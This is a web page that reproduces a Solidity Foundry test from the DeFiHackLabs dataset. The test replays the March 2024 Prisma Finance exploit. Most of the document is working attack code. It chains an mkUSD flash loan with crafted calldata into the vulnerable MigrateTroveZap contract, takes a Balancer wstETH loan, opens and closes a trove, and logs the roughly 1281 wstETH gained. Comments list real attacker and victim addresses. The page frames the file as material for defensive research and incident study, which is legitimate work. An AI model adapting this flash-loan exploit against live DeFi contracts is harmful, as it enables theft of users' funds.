Public reproduction file
src/test/2024-03/Prisma_exp.sol
Public reproduction file for dataset entry PrismaFi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.19;4import {Test, console2} from "forge-std/Test.sol";6// @KeyInfo - Total Lost: ~$11M7// Attacker: 0x7e39e3b3ff7adef2613d5cc49558eab74b9a42028// Attack Contract: 0xd996073019c74b2fb94ead236e32032405bc027c9// Vulnerable Contract: 0xcc7218100da61441905e0c327749972e3cbee9ee10// Attack Tx: https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c712// @Analyses13// https://twitter.com/EXVULSEC/status/177337104995179748514// https://twitter.com/PrismaFi/status/177337103012952495716/////////////////////////////////////// Interfaces ///////////////////////////////////////18interface IERC20 {19 event Approval(address indexed owner, address indexed spender, uint256 value);20 event Transfer(address indexed from, address indexed to, uint256 value);22 function name() external view returns (string memory);23 function symbol() external view returns (string memory);24 function decimals() external view returns (uint8);25 function totalSupply() external view returns (uint256);26 function balanceOf(27 address owner28 ) external view returns (uint256);29 function allowance(address owner, address spender) external view returns (uint256);31 function approve(address spender, uint256 value) external returns (bool);32 function transfer(address to, uint256 value) external returns (bool);33 function transferFrom(address from, address to, uint256 value) external returns (bool);34}36interface IMKUSDLoan {37 function flashLoan(38 IERC3156FlashBorrower receiver,39 address token,40 uint256 amount,41 bytes calldata data42 ) external returns (bool);43}45interface IERC3156FlashBorrower {46 function onFlashLoan(47 address initiator,48 address token,49 uint256 amount,50 uint256 fee,51 bytes calldata data52 ) external returns (bytes32);53}55interface IBorrowerOperations {56 function setDelegateApproval(address _delegate, bool _isApproved) external;58 function openTrove(59 address troveManager,60 address account,61 uint256 _maxFeePercentage,62 uint256 _collateralAmount,63 uint256 _debtAmount,64 address _upperHint,65 address _lowerHint66 ) external;68 function closeTrove(address troveManager, address account) external;69}71interface IPriceFeed {72 function fetchPrice(73 address _token74 ) external returns (uint256);75}77interface IBalancerVault {78 function flashLoan(79 address recipient,80 address[] memory tokens,81 uint256[] memory amounts,82 bytes memory userData83 ) external;84}86contract PrismaExploit is Test {87 IBalancerVault public vault;88 IPriceFeed public priceFeed;90 address public immutable wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;91 address public immutable mkUSD = 0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28;92 address public immutable MigrateTroveZap = 0xcC7218100da61441905e0c327749972e3CBee9EE;93 address public immutable BorrowerOperations = 0x72c590349535AD52e6953744cb2A36B409542719;94 address public immutable TroveManager = 0x1CC79f3F47BfC060b6F761FcD1afC6D399a968B6;95 address public immutable upperHint = 0xE87C6f39881D5bF51Cf46d3Dc7E1c1731C2f790A;96 address public immutable lowerHint = 0x89Ee26FCDFF6B109F81ABC6876600eC427F7907F;98 bytes32 private constant attackTx = hex"00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7";100 function setUp() public {101 // set up the fork102 vm.createSelectFork("mainnet", attackTx);104 // chainlink price feed and balancer vault105 priceFeed = IPriceFeed(0xC105CeAcAeD23cad3E9607666FEF0b773BC86aac);106 vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);107 }109 /////////////////////////////////////// Interfaces ///////////////////////////////////////111 function test_exploit() public {112 uint256 price = priceFeed.fetchPrice(wstETH);113 console2.log("Price Feed Price: ", price);115 // start with ~1800 mkUSD116 deal(address(mkUSD), address(this), 1_800_000_022_022_732_637);118 console2.log("Attacker start with ~1800 mkUSD: ", IERC20(mkUSD).balanceOf(address(this)));119 console2.log("start with wstETH balance before attack : ", IERC20(wstETH).balanceOf(address(this)));121 // get mkUSD loan123 // address account,124 // address troveManagerFrom,125 // address troveManagerTo,126 // uint256 maxFeePercentage,127 // uint256 coll,128 // address upperHint,129 // address lowerHint131 // data132 // bytes memory data = hex"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";134 uint256 amount = 1_442_100_643_475_620_087_665_721;136 address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED;137 address troveManagerFrom = address(TroveManager);138 address troveManagerTo = address(TroveManager);139 uint256 maxFeePercentage = 5_000_000_325_833_471;140 uint256 coll = 463_184_447_350_099_685_758;142 bytes memory data = abi.encode(143 account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)144 );146 IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);148 address[] memory tokens = new address[](1);149 tokens[0] = address(wstETH);151 uint256[] memory amounts = new uint256[](1);152 amounts[0] = 1_000_000_000_000_000_000;154 uint256[] memory feeAmounts = new uint256[](1);155 feeAmounts[0] = 0;157 // get balancer wstETH loan158 vault.flashLoan(address(this), tokens, amounts, abi.encode(""));159 }161 function receiveFlashLoan(162 IERC20[] memory, /* tokens */163 uint256[] memory, /* amounts */164 uint256[] memory, /* feeAmounts */165 bytes memory /* userData */166 ) external {167 // approve borowOperations to spend wstETH with max amount168 IERC20(wstETH).approve(address(BorrowerOperations), type(uint256).max);170 // set delegate approval171 IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);173 // // open trove174 IBorrowerOperations(BorrowerOperations).openTrove(175 address(TroveManager),176 address(this),177 5_000_000_325_833_471,178 1_000_000_000_000_000_000,179 2_000_000_000_000_000_000_000,180 address(upperHint),181 address(lowerHint)182 );184 // // another mkUSD loan185 // // // data186 // bytes memory data = hex"000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";188 uint256 amount = 2_000_000_000_000_000_000_000;190 address account = address(this);191 address troveManagerFrom = address(TroveManager);192 address troveManagerTo = address(TroveManager);193 uint256 maxFeePercentage = 5_000_000_325_833_471;194 uint256 coll = 1_282_797_208_306_130_557_587;196 bytes memory data = abi.encode(197 account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)198 );200 IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);202 // cuurent contract mkUSD balance203 // console2.log("mkUSD balance before closing the trove: ", IERC20(mkUSD).balanceOf(address(this)));205 // close trove206 IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));208 uint256 returnAmount = 1_000_000_000_000_000_000;209 // transfer the wstETH loan back to the vault210 IERC20(wstETH).transfer(address(vault), returnAmount);212 // current contract wstETH balance213 console2.log("wstETH balance ~1281.79 ETH after attack: ", IERC20(wstETH).balanceOf(address(this)));214 }215}Analysis
Dataset entry
Public Foundry test for “PrismaFi” (2024-03-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2024-03/ALP_exp.solSame month in the dataset · 84 lines
- src/test/2024-03/ARK_exp.solSame month in the dataset · 52 lines
- src/test/2024-03/BBT_exp.solSame month in the dataset · 140 lines
- src/test/2024-03/Binemon_exp.solSame month in the dataset · 80 lines
- src/test/2024-03/CGT_exp.solSame month in the dataset · 272 lines
- src/test/2024-03/ETHFIN_exp.solSame month in the dataset · 126 lines
- src/test/2024-03/GHT_exp.solSame month in the dataset · 62 lines
- src/test/2024-03/IT_exp.solSame month in the dataset · 139 lines
- src/test/2024-03/Juice_exp.solSame month in the dataset · 76 lines
- src/test/2024-03/LavaLending_exp.solSame month in the dataset · 347 lines
- src/test/2024-03/MO_exp.solSame month in the dataset · 94 lines
- src/test/2024-03/Paraswap_exp.solSame month in the dataset · 75 lines
- src/test/2024-03/SSS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/TGBS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/UnizenIO_exp.solSame month in the dataset · 43 lines
- src/test/2024-03/Woofi_exp.solSame month in the dataset · 185 lines
- src/test/2024-03/ZongZi_exp.solSame month in the dataset · 116 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202
- Attack Contract
0xd996073019c74b2fb94ead236e32032405bc027c
- Vulnerable Contract
0xcc7218100da61441905e0c327749972e3cbee9ee
- Attack Tx
0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7
File record
- Name
- PrismaFi
- Path
- src/test/2024-03/Prisma_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 32efcad22bd3879b6527a4de8a02de5beed4f479
- Language
- Solidity
- Size
- 216 lines
- Date
- 2024-03-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-03/Prisma_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 32efcad22bd3879b6527a4de8a02de5beed4f479, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.